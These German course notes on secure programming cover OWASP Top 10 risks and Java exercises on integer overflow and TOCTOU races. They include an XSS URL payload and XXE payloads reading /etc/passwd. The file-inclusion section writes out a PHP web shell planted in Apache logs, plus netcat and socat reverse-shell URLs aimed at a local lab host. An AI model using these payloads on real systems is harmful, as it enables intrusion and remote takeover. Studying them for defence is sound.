http://site.com/welcome.html#name=John<script>
alert("XSS")</script>

Session Hijacking mit XSS

Ergebnis:

5.6.8 Gegenmaßnahmen

Script mit Positivliste gegen lokales XSS

<script>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,
document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/)) {
document.write(name);
}
else {
window.alert("Security error");
}
</script>

5.6.9 Cross-Site-Request-Forgery

Hauptursache: - Browser sendet Berechtigungen in Form von Cookies mit - werden durch XSS begünstigt

Gegenmaßnahmen:

5.7 A4: Unsicherer Entwurf

Der Entwurf berücksichtigt die Risiken für die zu entwickelnde Software nicht angemessen im Kontext des Geschäftsumfelds, der Anwendungsfalls, der Einsatzumgebung etc.

Konsequenz: - Notwendige Sicherheitsmaßnahmen sind nicht im Entwurf enthalten und werden dementsprechend auch nicht implementiert

Anmerkungen: - Sicherer Entwurf kann durch Fehler in der Implementierung trotzdem zu Schwachstellen führen - Ein unsicherer Entwurf lässt sich selbst durch eine perfekte Implementierung nicht reparieren

Angriffsszenarien:

5.7.1 Gegenmaßnahmen

5.8 A5: Fehlerhafte Sicherheitskonfiguration

Konfigurationseinstellungen können zu Sicherheitslücken führen

Beispiele - Unsauber definierte Berechtigungen für Cloud-Services - Unnötige Funktionalität installiert und/oder aktiviert (Ports/Dienste/Benutzerkonten etc.) - Standardbenutzerkonten und Standardpasswörter - Detailinformationen (e.g. Stack Traces) in Fehlermeldungen - System veraltet - Keine sichere Vorbelegung - Directory Listing aktiviert Auswirkung - Unberechtigter Zugriff auf Daten und Funktionen, manchmal sogar das ganze System

5.8.1 Gegenmaßnahmen

5.8.2 XML External Entities (XXE)

Ablauf - XML-Dokument enthält Verweis (URI) auf eine externe Entität - XML-Dokument wird auf eine Web-Seite hochgeladen - Web-Seite verarbeitet das XML-Dokument durch einen verwundbaren XML-Prozessor - Der XML-Prozessor löst den Verweis auf die externe Entität auf und wertet diese aus - Dadurch wird der Schadcode ausgeführt Auswirkungen - Auslesen von Daten - Anfragen ausgehend vom übernommenen Server verschicken - Interne Systeme “scannen” - DoS Angriff - Auslesen von Dateien aus dem Dateisystem des Servers: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> - Durchführen von Anfragen auf Server, auf die ein Angreifer sonst nicht direkt zugreifen kann. Dadurch lassen sich auf Firewalls umgehen oder die Quelle von Angriffen wie Port-Scans verschleiern <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://server.com/path" >]> <foo>&xxe;</foo> Ursachen - Anwendunge akzeptiert direkt oder per Upload XML-Dokumente aus nicht vertrauenswürdigen Quellen - Anwendung fügt nicht vertrauenswürdige Daten in XML-Dokumente ein - SOAP vor 1.2 Gegenmaßnahmen - Schwachstellen Scan durchführen - Verwendung einfacher Datenformate e.g. JSON - Serialisieren sensibler Daten vermeiden - XML-Prozessoren Updaten - SOAP aktualisieren - Verarbeitung von externen XML-Entitäten ausschalten

5.9 A6: Nicht aktuelle Komponenten mit Schwachstellen

Anwendung enthält Schwachstellen, die bereits bekannt sind und für die es vielleicht sogar schon vorbereitete Angriffe (Exploits) gibt. Schwachstellen kommen häufig durch die Verwendung von Drittkomponenten wie Frameworks oder Bibliotheken in die Anwendung.

Beispiele - Version direkt oder indirekt verwendeter Komponenten sind nicht bekannt - Komponenten nicht aktuell oder werden nicht mehr gewartet - Kein regelmäßiger Schwachstellenscan - Kompatibilität von neuen Versionen wird nicht getestet Auswirkungen - Gering bis komplette Übernahme des Systems Angriffsszenarien - Komponenten laufen mit denselben Berechtigungen wie die Anwendung in denen sie verwendet werden. Verursacht durch e.g. Programmierfehler oder Backdoor - Ermitteln von IoT-Komponenten mit bekannten Schwachstellen e.g. Heartbleed über eine Suchmaschine Maßnahmen - Entfernen von nicht verwendeten Abhängigkeiten und unnötiger Funktionalität - Regelmäßige Inventarisierung - OWASP Dependency Check durch Maven-Plugin e.g. mvn verify oder mvn org.owasp:dependency-check-maven:check - Mitverfolgen von sicherheitsrelevanten Nachrichten - Komponenten nur aus öffentlichen Quellen und aus sicheren Verbindungen beziehen - Virtual Patching von nicht mehr maintainten Komponenten

5.10 A7: Fehlerhafte Identifizierung und Authentifizierung

Fehler bei der Bestätigung der Identität von Benutzern, der Authentisierung oder der Sitzungsverwaltung

Beispiele - Anwendung erlaubt brute-force Angriffe - Anwendung verwendet Standardpasswörter oder schwache Passwörter - Schwache Methode zum wiederherstellen des Zugangs nach Passwortverlust - Speichern von Passwörtern im Klartext oder mit schwacher Hash-Funktion - Keine Mehrfaktorauthentifizierung - Fehlerhafte Sitzungsverwaltung (Session-ID in URL, Reuse von Session-IDs) Angriffsszenarien - Credential Stuffing (Brute Force mit dictionary) - Erraten schwacher Passwörter Maßnahmen - Mehrfaktorauthentifizierung - Anwendungen nie mit Standardzugangsdaten ausstatten - Neue oder geänderte Paswörter auf ihre Stärke überprüfen. Auch prüfen, ob diese zu den 10.000 schlechtesten Passwörtern gehören - Aktuelle Standards berücksichtigen - Härtung gegen Enumeration Attacks - Fehlgeschlagene Anmeldungsversuche begrenzen

5.10.1 Fehlerhaftes Session-Management

Bedrohung - Angreifer übernimmt die Sitzung eines authentifizierten Nutzers Ursachen - Zu einfache oder nicht verschlüsselte Passwörter - Angreifer erhält Zugriff auf die Session ID - Keine Mehrfaktorauthentifizierung

5.11 A8; Fehlerhafte Software und Datenintegrität

Treffen von Annahmen e.g. über Software-Updates, kritische Daten oder CI/CD Pipelines ohne deren Gültigkeit zu überprüfen

Beispiele - Anwendungen verwenden Bibliotheken aus nicht vertrauenswürdigen Quellen oder CDNs - Durch unsichere CI/CD-Pipeline besteht Möglichkeit zum unberechtigten Zugriff - Automatische Updates ohne Integritätsprüfung Angriffsszenarien - Update ohne Signatur - Router oder andere Geräte prüfen oft nicht auf Signaturen und sind leichte Angriffsziele - Solarwinds: Updates mit Schadcode - Sichere Buildprozesse umgangen und Schadcode eingeschläust

5.11.1 Gegenmaßnahmen

- Verwenden digitaler Signaturen
- Sicherstellen, dass Dependencies aus vertauenswürdigen Repositories stammen
- Sicherstellen, dass Werkzeuge zur Überprüfung der Supply-Chain eingesetzt werden e.g. OWASP Dependency Check
- Review Process fÜr Code- und Konfigurationsänderungen
- Saubere Trennung, Konfiguration und Zugangssteuerung in der CI/CD Pipeline
- Serialisierte Daten nur signiert oder verschlüsselt übertragen

5.11.2 Unsichere Deserialisierung

Anwendunge enthäkt serialisierte Objekte/Datenstrukturen e.g. als XML-, JSON- oder Binär-Dokumente und baut daraus durch Desieralisierung entsprechen Objekte/Datenstrukturen wieder neu im eigenen Kontext auf

5.12 A9: Fehlerhaftes Logging und Monitoring

Angriffe und Angriffsversuche werden nicht erkannt, wenn nicht alle Aktionen protokolliert werden. Wenn Angreifer evtl. Zugriff auf Log-Einträge haben, ist das Entwurfsmuster “Fehlerhafte Berechtigungsprüfung” zu erkennen.

Beispiele - Nicht protokollierte erfolgreiche und fehlgeschlagene Login-Versuche - Nicht protokolloerte Systemaktionen - Fehler, Ausnahmen und Warnungen werden nicht oder nicht ausreichend protokolliert - Log-Dateien werden nicht automatisiert auf verdächtiges Verhalten überwacht - Logs werden nur lokal gespeichert - Uhrzeiten sind nicht synchronisiert - Es sind keine angemessenen Schwellwerte für das Auslösen von Alarmen festgelegt - Es werden keine Alarme ausgelöst, wenn ein Pentest durchgeführt wird - Angriffe werden nicht in Echtzeit erkannt Angriffsszenarien - Angreifer scannen eine Anwendung auf typische Passwörter und sehen nur fehlgeschlagene Logins - Brute Force möglich - Firma verwendet Sandbox zur Analyse von E-mail anhängen - Schadsoftware wird in Anhang gepackt, erkannt, aber niemand kümmert sich darum

5.12.1 Gegenmaßnahmen

5.13 A10: Server-Side Request Forgery (SSRF)

Eine Anwendung lädt eine Resource (über das Netzwerk) anhand einer URL, die vom Benutzer angegeben wird, ohne diese URL zu überprüfen

Beispiel - Angreifer stellt einen Request zusammen und zwingt die Anwendung diese Request an ein Ziel zuschicken, welches so von der Anwendung nicht vorgesehen war Probleme - Funktioniert auch, wenn Schutzmechanismen vorhanden sind, wie e.g. - Web Application Firewall - VPN - Network Access Control List (ACL) - Das Laden von Inhalten über URLs ist gerade in modernen Web-Anwendungen ein grundlegender Mechanismus, siehe AJAX oder fetch-API Angriffsszenarien - Scan der Ports interner Server - Wenn das Netzwerk nicht segmentiert ist, können Angreifer die internen Systeme ermitteln und auch herausfinden, ob Ports auf internen Servern offen oder geschlossen sind - Port-Scan funktioniert dadurch, dass die Ergebnisse von Verbindungen zu internen Servern mittels SSRF ausgewertet werden - Abhängig vom Ergebnis oder der Responsetime ergibt sich dann, ob Port offen oder geschlossen ist - Preisgabe von sensiblen Daten - Angreifer können auf lokale Dateien oder interne Dienste zugreifen, um sensible Informationen zu gewinnen. - Siehe dazu den seperaten Abschnitt zu “File Inclusion” - Zugriff auf Metadatenspeicher von Cloud-Diensten - Viele Cloud-Anbieter haben einen Metadatenspeicher - Angreifer können mittels SSRF die Metadaten auslesen und so sensible Informationen gewinnen - Kompromittieren interner Dienste - Angreifer können interne Dienste missbrauchen, um weitere Angriffe durchzuführen (Remote Code Execution, DoS)

5.13.1 Gegenmaßnahmen

5.13.2 File Inclusion

Anfälliger Code:

<?php
    $file = $_GET['page']; //The page we wish to display
    $ext = substr($file, strrpos($file, '.') + 1); // get file extension
    if($ext != "php") { // allow only php files for inclusion
    unset($file);
    }
    include($file);
?>
nc 172.17.0.1 80 # Connect via netcat
<?php echo shell_exec($_GET['cmd']); ?> # Insert php into access.log

Dann lokal einen Listener starten:

Netcat:

nc -lnvp 4242 # Listener starten

Socat:

socat -dd TCP-LISTEN:4444 STDOUT

Im Browser, folgende URL verwenden:

Netcat:

localhost/vulnerabilities/fi/?cmd=nc%20-e%20/bin/sh%20172.17.0.1%204242&page=../../../../../../../../var/log/apache2/access.log

Socat:

localhost/vulnerabilities/fi/?cmd=socat%20TCP4:172.17.0.1:4444%20EXEC:/bin/bash&page=../../../../../../../../var/log/apache2/access.log

Gegenmaßnahmen:

6 Aufgabe 5: Sichere Programmierung (secure coding) (10 Punkte)

6.1 Implementierung einer Datenstruktur in Java

Gegeben sei die folgende Definition einer Datenstruktur:

List<String> data = new ArrayList<String>(MAX);

Dabei ist MAX folgendermaßen definiert:

private static fional int MAX = 100;

Eine Methode mit der untenstehenden Signatur soll einen Wert an einer bestimmten Position in der Datenstruktur data eintragen :

void setElementToExtraPosition(int extra, String element);

Die Position soll berechnet werden aus der aktuellen Position (current) und dem als Methodenparameter angegebenen Versatz (extra). Sowohl current, als auch extra sollen vom Typ int sein.

Falls die neue Einfügeposition außerhalb des Wertebereichs der Indizes der Datenstruktur liegt, soll eine Ausnahme (IllegalArgumentException) ausgelöst werden.

Rufen Sie die Funktion setElementToExtraPosition() mit verschiedenen Werten auf.

Was geschieht, wenn Sie folgende Werte verwenden:

current = 50
extra = Integer.MAX_VALUE:

Was würde geschehen, wenn Sie ein Element auf Position current = 50 eintragen und anschließend ein Element auf der folgenden Position eintragen:

current + Integer.MIN_VALUE + Integer.MIN_VALUE
import java.math.BigInteger;
import java.util.ArrayList;
import java.util.List;

public class IntegerOverflow {

    private static final int MAX = 100; // Integer.MAX_VALUE + 1

    private int current;
    private List<String> data;

    public IntegerOverflow() {
        current = 0;
        data = new ArrayList<String>(MAX);
        for (int i = 0; i < MAX; i++) {
            data.add(i,  "");
        }
    }

    public static void main(String[] args) {
        IntegerOverflow io = new IntegerOverflow();
        io.process();
    }

    private void process() {
        System.out.println("Liste im Initialzustand:");
        System.out.println(data.toString());

        current = 50; // Integer.MAX_VALUE

        data.set(current, "Alter Wert");
        System.out.println("\nListe nach Setzen eines Wertes auf Position current = " + current);
        System.out.println(data.toString());

        int extra = Integer.MAX_VALUE + Math.abs(Integer.MIN_VALUE) + 1;
//      int extra = Math.abs(Integer.MIN_VALUE) + 1;
//      int extra = Integer.MAX_VALUE;
//      System.out.println("\nBerechnung des extra-Index durch Integer.MAX_VALUE + Math.abs(Integer.MIN_VALUE) + 1 = " + extra);
        System.out.println("\nextra-Index: = " + extra);

        setElementToExtraPosition(extra, "Neuer falscher Wert");
        System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
        System.out.println(data.toString());

//      setElementToExtraPositionMoreSecure(extra, "Neuer Wert More Secure");
//      System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
//      System.out.println(data.toString());
//
//      setElementToExtraPositionSecure(extra, "Neuer Wert Secure");
//      System.out.println("\nListe nach Setzen eines Wertes auf Position current (" + current + ") + extra (" + extra + ") = " + (current + extra));
//      System.out.println(data.toString());

    }

    private void setElementToExtraPosition(int extra, String element) {
//      System.out.println("current + extra = " + (current + extra));
        if (extra < 0 || current + extra > MAX) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }

    private void setElementToExtraPositionMoreSecure(int extra, String element) {
        if (extra < 0 || current > MAX - extra) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }

    private void setElementToExtraPositionSecure(int extra, String element) {
        BigInteger currentBig = BigInteger.valueOf(current);
        BigInteger maxBig = BigInteger.valueOf(MAX);
        BigInteger extraBig = BigInteger.valueOf(extra);
        if (extra < 0 || currentBig.add(extraBig).compareTo(maxBig) > 0) {
            throw new IllegalArgumentException();
        }
        data.set(current + extra, element);
    }
}

6.2 Secure Coding

Implementieren Sie die mit TODO markierten stellen

Das Vorhandensein eines AttackThreads gibt Ihnen einen Hinweis worauf Sie in Ihren Implementierungen achten sollten.

Was müssen Sie noch in Ihrer Implementierung beachten?

Person.java

package toctou_solution;

public class Person {

    private String username;
    private String passwort;
    private Double gewicht;

    public Person(String username, String passwort, Double gewicht) {
        super();
        this.username = username;
        this.passwort = passwort;
        this.gewicht = gewicht;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPasswort() {
        return passwort;
    }

    public void setPasswort(String passwort) {
        this.passwort = passwort;
    }

    public Double getGewicht() {
        return gewicht;
    }

    public void setGewicht(Double gewicht) {
        this.gewicht = gewicht;
    }

    @Override
    public String toString() {
        return "Person [username=" + username + ", passwort=" + passwort + ", gewicht=" + gewicht + "]";
    }
}

TOCTOU.java

package toctou_solution;

import java.util.logging.Logger;

import toctou.exception.PersonException;

public class TOCTOU {

    private static Logger logger = Logger.getLogger(TOCTOU.class.getName());

    class AttackThread extends Thread {

        private Person person;

        public AttackThread(Person p) {
            this.person = p;
        }

        @Override
        public void run() {
            try {
                Thread.sleep(500);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            person.setPasswort("pwnd");
            person.setGewicht(1000.0d);
        }
    }

    private boolean validatePerson(Person p) {
        // TODO: Rufen Sie die entsprechenden Methoden der Klasse Validator auf.
        logger.info("Validiere Person : " + p);
        Validator v = Validator.getInstance();
        if (!v.checkValidString(p.getUsername())) {
            return false;
        }
        if (!v.checkValidPassword(p.getPasswort())) {
            return false;
        }
        if (!v.checkValidDouble(p.getGewicht())) {
            return false;
        }
        return true;
    }

    public void speicherePerson(Person p) throws PersonException {
        // TODO: Validieren Sie das Argument p durch Aufruf der Methode validatePerson()
        // Remove the following line of code to demonstrate a successful attack.
        Person person = new Person(p.getUsername(), p.getPasswort(), p.getGewicht());
        if (!validatePerson(person)) {
            throw new PersonException("Person enthält ungültige Werte: " + person);
        }
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        logger.info("Person " + person + " erfolgreich gespeichert.");
    }

    public static void main(String[] args) {
        TOCTOU t = new TOCTOU();
        Person person = new Person("sheldon", "abc123xyz!", 73.0);
        AttackThread at = t.new AttackThread(person);
        at.start();
        try {
            t.speicherePerson(person);
        } catch (PersonException e) {
            // person.setUsername("xxxxxxxxxxxxx");
            // person.setUsername(null);
            // person.setPasswort("xxxxxxxxxxxxx");
            // person.setPasswort(null);
            // person.setGewicht(0.0);
            // person = null;
            logger.warning(e.getMessage());
        }

        try {
            at.join();
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        System.out.println("Inhalt von Person am Ende des Programms: " + person);
    }
}

Validator.java

package toctou_solution;

public class Validator {
    private static Validator validator = new Validator();

    public static Validator getInstance() {
        return validator;
    }

    public boolean checkValidString(String s) {
        // TODO: Implementieren Sie die Prüfung von Zeichenketten so, dass
        //       1. null-Strings und leere Zeichenketten NICHT erlaubt sind
        //       2. nur Klein- und Großbuchstaben erlaubt sind.
        //       Zeichenketten dürfen eine beliebige Länge haben.
        if (s == null) {
            return false;
        }
        String pattern = "[a-zA-Z]+";
        return s.matches(pattern);
    }

    public boolean checkValidPassword(String s) {
        // TODO: Implementieren Sie die Prüfung von Passwörtern so, dass
        //       1. null-Strings und leere Zeichenketten NICHT erlaubt sind
        //       2. ein Passwort mindestens 10 Zeichen haben muss.
        if (s == null || s.trim().isEmpty()) {
            return false;
        }
        if (s.length() < 10) {
            return false;
        }
        return true;
    }

    public boolean checkValidDouble(Double d) {
        // TODO: Implementieren Sie die Prüfung von Gewichtsangaben so, dass das Gewicht zwischen 0.0 und 300.0 Kg liegen muss.
        if (d == null) {
            return false;
        }
        if (d < 0.0d || d > 300.0d) {
            return false;
        }
        return true;
    }
}

TOOD: Add Interpretation

7 Aufgabe 6: Authentisierung/Authentifizierung (3+2 = 5 Punkte)

7.1 Grundlagen

Authentisierung

Authentifizierung

AuthN

Autorisierung

Authentisierungsmethoden

Starke Authentisierung

7.2 OAuth2

Definition

Rollen

Rollen

Standardprotokoll

Standardprotokoll

Kategorien

Authorization Code Grant + PKCE Flow

Vorgehen

Authorization Code Grant

Authorization Code Grant Part 2

Weitere Parameter des Authorization Requests im Schritt 2 Parameters

Workflow, um einen abgelaufenen Token zu refreshen Refresh

Erzeugen und Verwalten von Refresh Tokens Erzeugen von Refresh Token (Schritte 1, 2)

Problem